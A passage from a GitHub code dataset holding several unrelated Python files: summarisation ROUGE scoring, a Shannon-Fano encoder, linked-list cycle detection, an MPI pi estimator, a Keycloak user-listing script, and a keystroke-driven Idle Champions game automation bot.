nltk.stem.porter import *\nstemmer = PorterStemmer()\n\nfrom PyRouge.pyrouge import Rouge\n\ndef score_model(test_pairs, model, model_id, nb_examples, output_type):\n scores = [0, 0, 0, 0]\n rouge_calc = RougeCalculator(stopwords=True, lang=\"en\")\n pyRouge = Rouge()\n if output_type == 'greedy':\n results = predict_greedy(test_pairs, _range=(0, nb_examples), model= model)\n else:\n results = predict_from_data(test_pairs, _range=(0, nb_examples), model= model)\n summaries = []\n novelty_dist = []\n for d in range(11): novelty_dist.append([])\n for k in results:\n el = results[k]\n ref = \" \".join([t for t in el['ref'].split('EOS')[0].split(\" \")])\n summary = \" \".join([t for t in el[output_type].split('EOS')[0].split(\" \")])\n\n scores[0] += rouge_calc.rouge_1(summary , ref)\n scores[1] += rouge_calc.rouge_2(summary , ref)\n rouge_l = rouge_calc.rouge_l(summary , ref)\n ''''''\n n = novelty.compute_novelty(ref, el['text'], 3)\n novelty_dist[int(n*10)].append(rouge_l)\n\n '''\n print(round(rouge_calc.rouge_2(summary , ref), 3), round(rouge_l, 3), len(summary.split(\" \")), summary)\n print(ref)\n print(rouge_calc.rouge_2(summary , ref), rouge_l)\n print(summary)\n print(ref)\n print()\n '''\n scores[2] += rouge_l\n if rouge_l < 0.20 or True: summaries.append((rouge_l, el[output_type].split('EOS')[0]))\n\n for i in range(10):\n print((i+1) *10, sum(novelty_dist[i]) / len(novelty_dist[i]), len(novelty_dist[i]))\n '''\n print(model_id.split(\"@\"), round(scores[0]/len(results), 3),\n round(scores[1]/len(results), 3), round(scores[2]/len(results), 3), round(scores[3]/len(results), 3))\n #for s in summaries: print(s)\n #print()\n '''\n\n\nconfig = {'model_type': 'TemporalAttn',\n 'embedding_size': 128, 'hidden_size': 256,\n 'input_length': 400, 'target_length': 60,\n 'model_path': current+ model_path, 'model_id': 'DM_CNN_50k_Temporal_novelty' }\nimport glob\n\nfor file_name in sorted(list(glob.iglob('/home/havikbot/MasterThesis/Models/temporal/best/' +\"*.pickle\"))):\n file_path = file_name.split(\"check\")[0]\n model_id = file_name.split(\"/\")[-1]\n\n pointer_gen_model = PGmodel_reinforcement(config=config, vocab=dataset.vocab, use_cuda=use_cuda)\n pointer_gen_model.load_model(file_path=file_path, file_name=model_id)\n score_model(test_pairs, model=pointer_gen_model, model_id =model_id, nb_examples=10000, output_type='greedy')\n\n\n\n\n'''\npointer_gen_model.train_rl(data=training_pairs, val_data=test_pairs,\n nb_epochs=25, batch_size=32,\n optimizer=torch.optim.Adam, lr=0.00005,\n tf_ratio=0.75, stop_criterion=None,\n use_cuda=True, print_evry=200\n )\n\n\n'''\n\ndef load_summaries(path):\n summaries = dict()\n for file_name in sorted(list(glob.iglob(path+\"*.txt\"))):\n id = file_name.split(\"/\")[-1].split(\"_\")[0]\n text = \" \".join([line.strip() for line in open(file_name).readlines()])\n summaries[id] = text.replace(\" \", \" \")\n return summaries\n\ndef test_summaries(refs, summaries):\n rouge_calc = RougeCalculator(stopwords=False, stemming=False, lang=\"en\")\n scores = [0, 0, 0]\n c = 0\n for k in refs:\n if k in summaries:\n scores[0] += rouge_calc.rouge_1(summaries[k], refs[k])\n scores[1] += rouge_calc.rouge_2(summaries[k], refs[k])\n scores[2] += rouge_calc.rouge_l(summaries[k], refs[k])\n c += 1\n\n return [scores[0] / c, scores[1] / c, scores[2] / c]\n\n#pointer_gen_model.\n\n\n","repo_name":"eivhav/Abstractive_Summarization","sub_path":"Evaluation/test_legacy.py","file_name":"test_legacy.py","file_ext":"py","file_size_in_byte":8337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73168202722","text":"from selection_sort import selectionSort\nimport sf_tree\n\ndef searchArray(value,array):\n\tfor i in range(0,len(array)):\n\t\tif (value == array[i][0]):\n\t\t\treturn i\n\n\treturn -1\n\ndef stringFrequencyValues(string):\n\t\"\"\"computes 'string' and returns an 2-dimenstional array containing the frequencies\n\t of each character of the string\"\"\"\n\t\"\"\"the returned array is formatted in the following way:\n\t [ \n\t [*char1*,*number of itsappearances on the string],\n\t [*char2*,*number of itsappearances on the string],\n\t ...\n\t [*charn*,*number of itsappearances on the string] \n\t ]\"\"\"\n\tfrequency = []\n\n\tfor i in string:\n\t\tposition = searchArray(i,frequency)\n\t\tif (position != -1):\n\t\t\tfrequency[position][1] += 1\n\t\telse:\n\t\t\tfrequency.append([i,1])\n\n\treturn frequency\n\ndef sumFrequency(frequency,i,j):\n\t#sum the frequency values of the \"frequency\" array from position \"i\" to \"j\"\n\tsum = 0\n\n\tif (i == j):\n\t\tsum += frequency[i][1]\n\telse:\n\t\ttry:\n\t\t\tfor x in range(i,j + 1):\n\t\t\t\tsum += frequency[x][1]\t\n\t\texcept IndexError:\n\t\t\tsum = -1\n\n\treturn sum\n\ndef getPosition(frequency):\n\t#gets the position in which the array is going to be divided to be used by the Shannon-Fano algorithm\n\n\tsmallerDifference = 1000000\n\tpos = 0\n\n\tfor i in range(0,len(frequency)):\n\t\tdifference = abs(sumFrequency(frequency,0,i) - sumFrequency(frequency,i + 1,len(frequency) - 1))\n\t\tif (difference < smallerDifference):\n\t\t\tsmallerDifference = difference\n\t\t\tpos = i\n\n\treturn pos\n\ndef getSymbols(frequency):\n\t\"\"\"gets the frequency array and returns an array \n\t with only the symbols of the to-be-encoded string\"\"\"\n\treturn [i[0] for i in frequency]\n\n\ndef shannonFanoEncoder(frequency):\n\t\"\"\"gets the \"frequency\" array of symbol frequencies and the total frequency\n\t of the symbols and encodes the given string\"\"\"\n\n\tposition = getPosition(frequency)\n\n\ttree = sf_tree.sf_tree()\n\ttree.add(frequency,sf_tree.ROOT)\n\t\n\n\tlength_freq = len(frequency)\n\tif (length_freq > 1):\n\t\t#print \"inside if\"\n\t\tif (position == 0):\n\t\t\t#in the case 'position' is 0, it has to be incremented so that 'leftFrequencies' doesn't become an empty list\n\t\t\tposition += 1\n\t\tif (position + 1 == length_freq):\n\t\t\t# length_freq += 1\n\t\t\tpass\n\n\t\tif (length_freq == 2):\n\t\t\tleftFrequencies = [frequency[0]]\n\t\t\trightFrequencies = [frequency[1]]\n\t\telse:\n\t\t\tleftFrequencies = [frequency[i] for i in range(0,position + 1)]\n\t\t\trightFrequencies = [frequency[i] for i in range(position + 1,length_freq)]\n\n\t\ttree.lnode = (shannonFanoEncoder(leftFrequencies))\n\t\ttree.rnode = (shannonFanoEncoder(rightFrequencies))\n\n\treturn tree\n\ndef setCodes(sftree,tmpcode):\n\t#sets the binary codes for each leaf of the tree\n\tif (sftree):\n\t\tif (len(sftree.value) == 1):\n\t\t\tsftree.value = [sftree.value[0][0],tmpcode]\n\t\telse:\n\t\t\tsetCodes(sftree.lnode,tmpcode + '0')\n\t\t\tsetCodes(sftree.rnode,tmpcode + '1')\n\ndef searchSymbol(symbol,sftree):\n\t#searchs for a symbol on the tree and returns its code\n\tif (sftree):\n\t\tif (sftree.value == symbol):\n\t\t\treturn \"\"\n\t\telse:\n\t\t\treturn \"0\" + searchSymbol(symbol,sftree.lnode)\n\t\t\treturn \"1\" + searchSymbol(symbol,sftree.rnode)\n\ndef getCode(symbol,sftree,code):\n\t#searchs for 'symbol' on 'sftree' and generates a binary code according to its position on the tree and puts it into \"code\"\n\t#code must be a list, so it can be passed as reference by the recursive calls of the function\n\tif (sftree):\n\t\tif (sftree.value[0] == symbol):\n\t\t\tcode.append(sftree.value[1])\n\t\telse:\n\t\t\tgetCode(symbol,sftree.lnode,code)\n\t\t\tgetCode(symbol,sftree.rnode,code)\n\ndef createDictionary(sftree,frequency):\n\t#takes an Shannon-Fano tree and creates an dictionary containing the codes for each symbol of the encoded string\n\n\tdictionary = {}\n\n\tfor i in frequency:\n\t\tcode = []\n\t\tsymbol = i[0]\n\t\tgetCode(symbol,sftree,code)\n\t\tdictionary[symbol] = code[0]\n\n\treturn dictionary\n\ndef encodeString(string,dictionary):\n\tencodedString = \"\"\n\n\tfor char in string:\n\t\tencodedString += dictionary[char]\n\n\treturn encodedString\n\ndef searchCodeDictionary(code,dictionary):\n\tfor symbol in dictionary:\n\t\tif (code == dictionary[symbol]):\n\t\t\treturn symbol\n\n\treturn 0\n\ndef decodeString(encodedString,dictionary):\n\tdecodedString = \"\"\n\ts = \"\"\n\n\tfor i in range(len(encodedString)):\n\t\tc = encodedString[i]\n\t\ts += c\n\t\t\n\t\tsearch = searchCodeDictionary(s,dictionary)\n\t\tif (search):\n\t\t\t#appends found symbol to 'decodedString'\n\t\t\tdecodedString += search\n\t\t\ts = \"\"\n\n\treturn decodedString\n\"\"\"\n#string = \"1231 782728 12732 19903 123276 193983 38748 09609 1272738 09230 -1 20 1- 2390 3-4\"\nstring = '1234567890'\n\nfrequency = stringFrequencyValues(string)\n\nselectionSort(frequency) #sorts the array based on the frequency...\nfrequency.reverse() #...then reverses it so that the biggest values come first\n#-------------------------------------------------------------------------------\n# print frequency\n\n# print 'position'\n# print getPosition(frequency)\n\nprint \"Sorted symbol frequency values: \"\nprint frequency\nprint\n# ------------------------------------------------------------------------------\n# print getPosition(frequency)\n\nencodedTree = shannonFanoEncoder(frequency)\n\n# encodedTree.print_tree_pre_order()\n\nsetCodes(encodedTree,\"\")\n# print encodedTree.print_tree_pre_order()\n\n# print\n# encodedTree.print_tree_pre_order()\n\n# print '\\n'\n\ndictionary = createDictionary(encodedTree,frequency)\nprint dictionary\n# print 'dicitonary: '\n# print dictionary\n# print encodedTree.lnode.rnode.lnode.value\n\nprint \"Original string: \" + string\n\nencodedString = encodeString(string,dictionary)\n\nprint \"Encoded string: \" + encodedString\n\ndecodedString = decodeString(encodedString,dictionary)\n\nprint \"Decoded string: \" + decodedString\n\nif (decodedString == string):\n\tprint \"Decoding was successful!\"\n\"\"\"","repo_name":"SreeniASU/multimedia-information-systems","sub_path":"Project 2/Part4/shannon_fano.py","file_name":"shannon_fano.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36953384056","text":"\"\"\"\nhttps://leetcode-cn.com/problems/c32eOV/\nhttps://leetcode-cn.com/problems/c32eOV/solution/shua-chuan-jian-zhi-offer-day12-lian-bia-lv78/\n思路:\n 快慢指针\n\"\"\"\n\nclass Solution:\n def hasCycle(self, head):\n slow = fast = head\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n if slow == fast:\n return True\n return False\n\n\nclass Solution:\n def detectCycle(self, head: ListNode) -> ListNode:\n slow, fast = head, head\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n\n if slow == fast:\n p = head\n q = slow\n while p != q:\n p = p.next\n q = q.next\n return p\n return None\n","repo_name":"AlfredTheBest/leetcode","sub_path":"剑指/ListNode/剑指 Offer II 022. 链表中环的入口节点.py","file_name":"剑指 Offer II 022. 链表中环的入口节点.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"439902538","text":"#!/usr/bin/python3\n\nfrom mpi4py import MPI\nimport math\nimport random\n\nworld = MPI.COMM_WORLD\nnumprocs = world.size\nmyid = world.rank\nprocname = MPI.Get_processor_name()\n\nprint('Process %d on %s' %(myid, procname))\n\nPOINTS = 1000000000 # 1 billion points\ntotal_circle_points = 0\ntotalTime = 0\n\nfor i in range(0, POINTS):\n if myid == 0:\n start_time = MPI.Wtime()\n \n circle_points = 0\n\n x = random.uniform(0,1) \n y = random.uniform(0,1)\n\n r = math.sqrt((x*x)+(y*y))\n\n if (r <= 1):\n circle_points += 1\n\n total_circle_points = world.reduce(circle_points, op=MPI.SUM, root=0)\n\n if myid == 0:\n end_time = MPI.Wtime()\n totalTime = end_time-start_time\n pi = (total_circle_points/POINTS) * 4\n print('Execution time (sec) = %f, sum = %d' %(totalTime, pi))\n\nworld.barrier()","repo_name":"Deep-Parekh/PiMonteCarloMPI","sub_path":".ipynb_checkpoints/pi_mpi-checkpoint.py","file_name":"pi_mpi-checkpoint.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6873564653","text":"import sys\n\nN = int(input())\nscore = list(map(int, input().split()))\nresult = S = 0\n\nfor i in score:\n if i == 1:\n S += 1\n result += S\n else:\n S = 0\n\nprint(result)","repo_name":"saevyeokvyeol/python_algorithm_study","sub_path":"yuda/Implementation/0720_2506.py","file_name":"0720_2506.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7195135450","text":"from GenericParser.Symbols import *\nfrom GenericParser.Tokeniser import *\nfrom GenericParser.Grammar import *\n\ndef numberExample():\n num = nonTerminal('num')\n digit = nonTerminal('digit')\n \n numberTerminals = []\n for n in '0123456789':\n numberTerminals.append(terminal(n))\n \n rules = {\n digit: grammar_or(*numberTerminals), # digit = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9\n num: grammar_or(grammar_seq(digit, num), digit) # num = (digit num) | digit\n }\n\n numbers = Grammar(numberTerminals, rules, num)\n numbers.parse('15')\n\nnumberExample()\n","repo_name":"avncharlie/genericParser","sub_path":"GenericParser/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41277803979","text":"a = int(input())\nb = map(int, input().split())\nl = []\ni = 1\n\nfor keys in b:\n if keys==0:\n l.append(i)\n else:\n l.insert(-keys, i)\n i += 1\n\nfor i in range(len(l)):\n print(l[i], end=' ')\n","repo_name":"playerflat/BOJ","sub_path":"level/04. Bronze 2/2605.py","file_name":"2605.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"810363960","text":"import requests\nimport json\nimport jwt\nimport time\n\n\nCONFIG_FILE_NAME = \"config.json\"\nUSER_FILE_NAME = \"users.json\"\n\ndef get_users(config):\n users_url = f\"{config['server_url']}/auth/admin/realms/{config['organization_id']}/users\"\n headers = {\n \"Authorization\": f\"Bearer {config['keycloak_token']}\"\n }\n\n response = requests.get(users_url, headers=headers)\n return response.json()\n\n\ndef save_users_to_file(users, filename):\n with open(filename, 'w') as file:\n json.dump(users, file, indent=4)\n print(\"Users saved to users.json\")\n\n\ndef read_config_from_file(filename):\n with open(filename, 'r') as file:\n data = json.load(file)\n return data\n\n\ndef is_token_expired(token):\n try:\n payload = jwt.decode(token, options={\"verify_signature\": False})\n current_time = time.time()\n expiration_time = payload['exp']\n\n return current_time > expiration_time\n\n except jwt.ExpiredSignatureError:\n return True\n except Exception as e:\n print(f\"Token validation error: {e}\")\n return True\n\n\nif __name__ == \"__main__\":\n print(f\"Reading config... {CONFIG_FILE_NAME}\")\n config = read_config_from_file(CONFIG_FILE_NAME)\n\n if is_token_expired(config['keycloak_token']) or is_token_expired(config['tks_token']):\n print(\n \"Token has expired. Please re-login or check if the server and your system's time are synchronized \"\n \"correctly.\")\n exit(1)\n\n print(f\"Listing users in {config['organization_id']} realms...\")\n users = get_users(config)\n print(f\"Saving users in {config['organization_id']} realms to file {USER_FILE_NAME}...\")\n save_users_to_file(users, USER_FILE_NAME)\n","repo_name":"openinfradev/skb-simple-script","sub_path":"src/role_user_mapping/list_users.py","file_name":"list_users.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20773499561","text":"import json\nimport logging\nimport os\nimport threading\n\nfrom datetime import datetime, timedelta\nfrom time import sleep\nfrom Quartz.CoreGraphics import CGEventCreateKeyboardEvent\nfrom Quartz.CoreGraphics import CGEventPostToPid\n\nimport idleautomate.idlegame.server_call as isc\nfrom idleautomate.idlegame.idlegame import IdleGame\n\nlogging.basicConfig(level=logging.DEBUG)\n\nBOLD = '\\033[1m'\nENDC = '\\033[0m'\nRED = '\\033[31m'\nGREEN = '\\033[32m'\nYELLOW = '\\033[33m'\nBLUE = '\\033[34m'\nCYAN = '\\033[36m'\n\nlogger = logging.getLogger('idleautomate.window.window')\n\nhomedir = os.getenv(\"HOME\")\ncachedir = 'Library/Application Support/Steam/steamapps/common/IdleChampions/IdleDragonsMac.app/Contents/Resources/Data/StreamingAssets/downloaded_files/'\ncachepath = f'{homedir}/{cachedir}'\ncachefile = 'cached_definitions.json'\n\n# this probably only works on US keyboards\nkeyMap = {\n '7' : 0x1a,\n 'q' : 0x0c,\n 'w' : 0x0d,\n 'e' : 0x0e,\n 'g' : 0x05,\n 'x' : 0x07,\n 'right' : 0x7c,\n 'left' : 0x7b,\n 'esc' : 0x35,\n 'f1' : 0x7a,\n 'f2' : 0x78,\n 'f3' : 0x63,\n 'f4' : 0x76,\n 'f5' : 0x60,\n 'f6' : 0x61,\n 'f7' : 0x62,\n 'f8' : 0x64,\n 'f9' : 0x65,\n 'f10' : 0x6d,\n 'f11' : 0x67,\n 'f12' : 0x6f,\n 'ctrl' : 0x3b,\n 'command': 0x37,\n 'cmd' : 0x37,\n 'shift' : 0x38,\n 'option' : 0x3a,\n}\n\n## automation implementation as a whole needs better thought\n\nclass Game(threading.Thread):\n def __init__(self):\n super().__init__()\n self._stop_event = threading.Event()\n\n self.idlegame = IdleGame()\n self.mode = 'fourj'\n self.MISSED_STACK = False\n self.AUTOMATION = True\n self.ALIGNMENT = True\n self._STACK_TIME = 8\n self.BUY_SILVER = False\n self.BUY_GOLD = False\n self.BUY_SILVER_COUNT = 50\n self.BUY_GOLD_COUNT = 5\n self.OPEN_SILVER = False\n self.OPEN_GOLD = False\n self.OPEN_EVENT = False\n self.OPEN_ELECTRUM = False\n self.OPEN_MODRON = False\n self.OPEN_MIRT = False\n self.OPEN_VAJRA = False\n self.OPEN_STRAHD = False\n self.OPEN_ZARIEL = False\n self.GEM_BANK = 250000\n\n self.stuck = False\n self.offline_stacking = False\n self.hide_window = False\n\n self.URL = isc.getServer()\n\n if self.mode == 'fourj' or self.mode == 'none':\n self._STEEL_STACKS = 22086 # reset 940\n # self._STEEL_STACKS = 11200 # reset 835\n # self._STEEL_STACKS = 10600 # reset 830\n # self._STEEL_STACKS = 8750 # reset 800\n # self._STEEL_STACKS = 8300 # reset 790\n # self._STEEL_STACKS = 6285 # reset 750\n # self._STACK_ZONE = 671\n self._STACK_ZONE = 621\n elif self.mode == 'sixj' or self.mode == 'sixjnoa':\n # self._STEEL_STACKS = 3675 # no metalborn\n self._STEEL_STACKS = 1555\n self._STACK_ZONE = 421\n\n\n self.start_time = datetime.now()\n self.resets = 0\n\n self.status = {\n 'aligned': False,\n 'aligning': False,\n 'dash': False,\n 'haste': False,\n 'stacked': False,\n 'stacking': False,\n 'reset': False,\n 'form': 'q',\n 'imps': 0,\n }\n\n\n # def __str__(self):\n # output = 'test'\n # # output = f\"{self.idlegame.area:4d}/{self.status['form']} {self.idlegame.bs_stacks:5d}/{self.idlegame.bh_stacks:5d} align[ed]/[ing]: {self.status['aligned']:1}/{self.status['aligning']:1} stack[ed]/[ing]: {self.status['stacked']:1}/{self.status['stacking']:1} resets: {self.resets:3d}\"\n # return output\n\n\n def stop(self):\n self._stop_event.set()\n\n\n def clear(self):\n self._stop_event.clear()\n\n\n def stopped(self):\n return self._stop_event.is_set()\n\n\n # def check_thread(self):\n # for thread in threading.enumerate():\n # logger.log(logging.INFO, thread.name)% \n\n\n # @property\n # def status(self):\n # return self.status\n\n\n @property\n def clock(self):\n return (datetime.now() - self.start_time)\n\n\n @property\n def STEEL_STACKS(self):\n return self._STEEL_STACKS\n\n\n @STEEL_STACKS.setter\n def STEEL_STACKS(self, value):\n self._STEEL_STACKS = int(value)\n\n\n @property\n def STACK_ZONE(self):\n return self._STACK_ZONE\n\n\n @STACK_ZONE.setter\n def STACK_ZONE(self, value):\n self._STACK_ZONE = int(value)\n\n\n @property\n def STACK_TIME(self):\n return self._STACK_TIME\n\n\n @STACK_TIME.setter\n def STACK_TIME(self, value):\n self._STACK_TIME = int(value)\n\n\n @property\n def bossArea(self):\n return self.idlegame.area % 5 == 0\n\n\n @property\n def checkAlignment(self):\n\n ## need to build this in to the UI or some sort of automate template\n if self.mode == 'fourj':\n # return self.idlegame.area % 10 == 1 or self.idlegame.area % 10 == 6\n return self.idlegame.area % 10 == 2 or self.idlegame.area % 10 == 7\n elif self.mode == 'sixj':\n return ((not self.idlegame.area % 10 == 3 \n and not self.idlegame.area % 10 == 8)\n and (not self.idlegame.area % 10 == 1\n and not self.idlegame.area % 10 == 6))\n elif self.mode == 'sixjnoa' or 'none':\n return True\n # # / Freely \n # return area % 10 == 4 or area % 10 == 9\n\n\n def displayStatus(self):\n output = f\"{self.idlegame.area:4d}/{self.status['form']} {self.idlegame.bs_stacks:5d}/{self.idlegame.bh_stacks:5d} align[ed]/[ing]: {self.status['aligned']:1}/{self.status['aligning']:1} stack[ed]/[ing]: {self.status['stacked']:1}/{self.status['stacking']:1} resets: {self.resets:3d}\"\n # logger.debug(output)\n\n\n def keyPress(self, k, modifier=None):\n if modifier:\n print(f'set mod {modifier}')\n CGEventPostToPid(self.idlegame.pid, CGEventCreateKeyboardEvent(None, keyMap[modifier], True))\n sleep(0.1)\n\n CGEventPostToPid(self.idlegame.pid, CGEventCreateKeyboardEvent(None, keyMap[k], True))\n sleep(0.1)\n CGEventPostToPid(self.idlegame.pid, CGEventCreateKeyboardEvent(None, keyMap[k], False))\n\n if modifier:\n CGEventPostToPid(self.idlegame.pid, CGEventCreateKeyboardEvent(None, keyMap[modifier], False))\n sleep(0.1)\n\n sleep(0.1)\n\n if k in ['q', 'w', 'e']:\n self.status['form'] = k\n\n\n def toggleAutoProgress(self):\n self.keyPress('g')\n\n\n def resumeRun(self):\n self.keyPress('left')\n self.keyPress('q')\n self.toggleAutoProgress()\n\n\n def dash(self):\n self.status['dash'] == True\n if self.idlegame.autoProgressToggle == 1:\n self.toggleAutoProgress()\n start_dashtime = self.idlegame.secSinceStart\n while self.idlegame.secSinceStart - start_dashtime < 30:\n sleep(.1)\n if self.idlegame.autoProgressToggle == 0:\n self.toggleAutoProgress()\n\n\n def startGame(self):\n if self.idlegame.check:\n logger.log(logging.INFO, \"Game is running ignoring start request\")\n else:\n logger.log(logging.INFO, \"Starting game\")\n self.idlegame.startGame()\n\n\n def endGame(self):\n if self.idlegame.check:\n logger.log(logging.INFO, \"Closing game\")\n ## this doesn't thrill me but without other options c'est la vie\n os.system(\"\"\"osascript -e 'tell application \\\"Idle Champions\\\" to quit'\"\"\")\n else:\n logger.log(logging.INFO, \"Game not running ignoring stop request\")\n\n\n def checkMem(self):\n #### check game mem is loaded\n # this could be better\n if (self.idlegame.check\n and self.idlegame.secSinceStart > 5\n and self.idlegame.areaActive == 1\n and self.idlegame.offlineProgressType == 1):\n logging.debug(f\"trying to attach\")\n #### end check game mem is loaded\n\n\n def alignment(self):\n self.status['aligned'] = self.checkAlignment\n\n if self.mode == 'fourj':\n\n if (5 < self.idlegame.area < self.STACK_ZONE - 5 \n and self.status['aligned'] == False \n and self.status['aligning'] == False):\n\n self.status['aligning'] = True\n self.keyPress('e')\n\n elif self.status['aligning'] == True and self.status['aligned'] == True:\n\n self.keyPress('q')\n self.status['aligning'] = False\n\n elif self.mode == 'sixj':\n\n if (self.status['aligned'] == False\n and self.status['aligning'] == False):\n\n self.status['aligning'] = True\n self.keyPress('e')\n\n elif self.status['aligning'] == True and self.status['aligned'] == True:\n\n self.keyPress('q')\n self.status['aligning'] = False\n\n elif self.mode == 'noalign':\n\n pass\n\n\n def buyChests(self):\n CALL_URL = self.URL + isc.URI\n logger.log(logging.INFO, \"Buying chests\")\n if self.BUY_SILVER:\n isc.buyChests(CALL_URL, '1', int(self.BUY_SILVER_COUNT)) # buy silvers\n if self.BUY_GOLD:\n isc.buyChests(CALL_URL, '2', int(self.BUY_GOLD_COUNT)) # buy golds\n\n\n def calcChestCost(self):\n cost = 0\n if self.BUY_GOLD:\n cost += int(self.BUY_GOLD_COUNT) * 500\n if self.BUY_SILVER:\n cost += int(self.BUY_SILVER_COUNT) * 50\n\n return cost\n\n\n def reset(self):\n self.end_time = datetime.now()\n self.resets += 1\n\n # on reset set things back to starting values\n self.status['aligned'] = False\n self.status['aligning'] = False\n self.status['dash'] = False\n self.status['stacked'] = False\n self.status['stacking'] = False\n self.status['reset'] = False\n self.status['form'] = 'q'\n self.status['imps'] = 0\n self.MISSED_STACK = False\n\n if (self.idlegame.gems > (int(self.GEM_BANK) + self.calcChestCost()) \n and (self.BUY_SILVER or self.BUY_GOLD)):\n logging.debug(f\"gems: {self.idlegame.gems} chest costs: {self.calcChestCost()}\")\n self.buyChests()\n\n logger.log(logging.INFO, f\"Reset count: {self.resets} run time: {self.end_time - self.start_time}\")\n self.start_time = datetime.now()\n\n\n def stacking(self):\n self.stack_start = datetime.now()\n self.status['stacking'] = True\n\n self.keyPress('w')\n if self.idlegame.autoProgressToggle == 0:\n self.toggleAutoProgress()\n\n sleep(1)\n\n if self.offline_stacking == False:\n sleep(5)\n self.keyPress('esc')\n\n offline = True\n started = False\n ended = False\n\n while offline and self.offline_stacking and self.MISSED_STACK == False:\n if ended == False:\n logging.debug(\"Offline stack endgame\")\n self.endGame()\n ended = True\n\n if started == False and ended == True:\n offline_sleep = True\n logging.debug(\"Offline sleeping\") \n\n if self.resets % 2 == 0: # and self.resets != 0:\n td = timedelta(seconds=self.STACK_TIME)\n open_starttime = datetime.now()\n offline_sleep = False\n logging.debug('Offline stack open chests')\n self.openChests()\n open_time = datetime.now() - open_starttime\n logging.debug(f\"Open chest time: {open_time}\")\n if open_time < td:\n st = td - open_time\n logging.debug(f\"Sleeping: {st}\")\n sleep(st.seconds)\n\n if offline_sleep == True:\n logging.debug(f\"Offline stack sleep {self.STACK_TIME}s\")\n sleep(self.STACK_TIME)\n\n logging.debug(\"Offline stack start game\")\n self.startGame()\n self.URL = isc.getServer()\n started = True\n\n if self.idlegame.check and started == True:\n logging.debug(\"Attempting re-attach\") \n self.idlegame.attach()\n\n if self.hide_window:\n logging.debug('Hiding game window')\n self.idlegame.hideWindow()\n\n offline = False\n\n if self.MISSED_STACK == True:\n while self.idlegame.bs_stacks < self.STEEL_STACKS:\n if self.bossArea:\n self.keyPress('left') \n sleep(1)\n\n logging.debug('reached end of stacking()')\n\n def stacked(self):\n try:\n self.stack_start\n except:\n self.stack_start = datetime.now()\n\n\n self.status['stacked'] = True\n self.status['stacking'] = False\n\n self.stack_end = datetime.now()\n\n logger.log(logging.INFO, f'Stacking complete: {self.stack_end - self.stack_start}')\n\n sleep(1)\n self.resumeRun()\n\n self.status['reset'] = True\n\n\n def openChests(self):\n CALL_URL = self.URL + isc.URI\n userdetails = isc.getUserDetails2(CALL_URL, isc.headers)\n if userdetails['success'] == True:\n instance_id = userdetails['details']['instance_id']\n\n with open (cachepath + cachefile) as cfile:\n cdata = json.load(cfile)\n\n isc.opengenericchest['instance_id'] = instance_id\n for k,v in userdetails['details']['chests'].items():\n if v != 0:\n # do not open non-electrum, 282 is electrum\n # if k in ['1', '2']:\n if ((k == '1' and self.OPEN_SILVER)\n or (k =='2' and self.OPEN_GOLD)\n or (k == '282' and self.OPEN_ELECTRUM)):\n for c in cdata['chest_type_defines']:\n if c['id'] == int(k):\n if v > 1:\n logger.info(f\"Opening {v} {c['name_plural']}\")\n else:\n logger.info(f\"Opening {v} {c['name']}\")\n loot = isc.openChests2(k, CALL_URL, count=v)\n logging.debug(f\"{GREEN}{loot}{ENDC}\")\n logging.debug(\"Parsing chests\")\n isc.parseChests2(loot)\n\n\n def automate(self):\n try:\n while self.AUTOMATION and not self.stopped():\n try: \n self.start_time\n except:\n self.start_time = datetime.now()\n\n if self.idlegame.area == 16:\n self.keyPress('q')\n\n #### reset code\n if self.idlegame.area < 10 and self.status['reset'] == True:\n\n self.reset()\n ##### end reset code\n\n # #### shandie dash\n # if self.idlegame.area > 10 and self.status['dash'] == False:\n # self.dash()\n # #### end shandie dash\n\n #### check for haste stacks \n if self.idlegame.bh_stacks > 49:\n self.status['haste'] = True\n else:\n self.status['haste'] = False\n #### end check for haste stacks\n\n #### align to checkAlignment code\n if self.ALIGNMENT == True and self.status['haste'] == True: \n self.alignment()\n #### end align to checkAlignment code\n\n ### catch stuck conditions and missed stacks\n # progress stuck?\n if (self.idlegame.bs_stacks > self.STEEL_STACKS \n and self.idlegame.bs_stacks > self.STEEL_STACKS\n and self.idlegame.secSinceStart > 20\n and self.idlegame.autoProgressToggle == 0\n and self.status['reset'] == True):\n self.resumeRun()\n # end progress stuck?\n\n if self.idlegame.bs_stacks > self.STEEL_STACKS and self.status['stacked'] == False:\n logging.debug(\"Main automate loop, caught stacked\")\n self.stacked()\n\n if (self.idlegame.bs_stacks > self.STEEL_STACKS\n and self.status['stacked'] == True\n # and self.idlegame.offlineProgressType == 0\n and len(self.idlegame.formation()) == 1):\n # and self.idlegame.secSinceStart > 20):\n\n logging.debug(f\"{YELLOW}Main automate loop, stuck stacked{ENDC}\")\n self.resumeRun()\n\n if (self.idlegame.bs_stacks < self.STEEL_STACKS \n and self.idlegame.area > (self.idlegame.modron_reset_level - 30)\n # and self.idlegame.area > 870\n and self.status['stacked'] == False\n and self.status['reset'] == False\n and self.idlegame.secSinceStart > 0):\n\n logging.debug(f\"{RED}Main automate loop, missed stacking{ENDC}\")\n self.MISSED_STACK = True\n self.stacking()\n\n if self.idlegame.check and self.idlegame._controller == '0x0':\n pass\n ### end catch stuck conditions\n\n #### briv stacking logic\n while (self.status['stacked'] == False\n and self.STACK_ZONE - 5 < self.idlegame.area < self.STACK_ZONE + 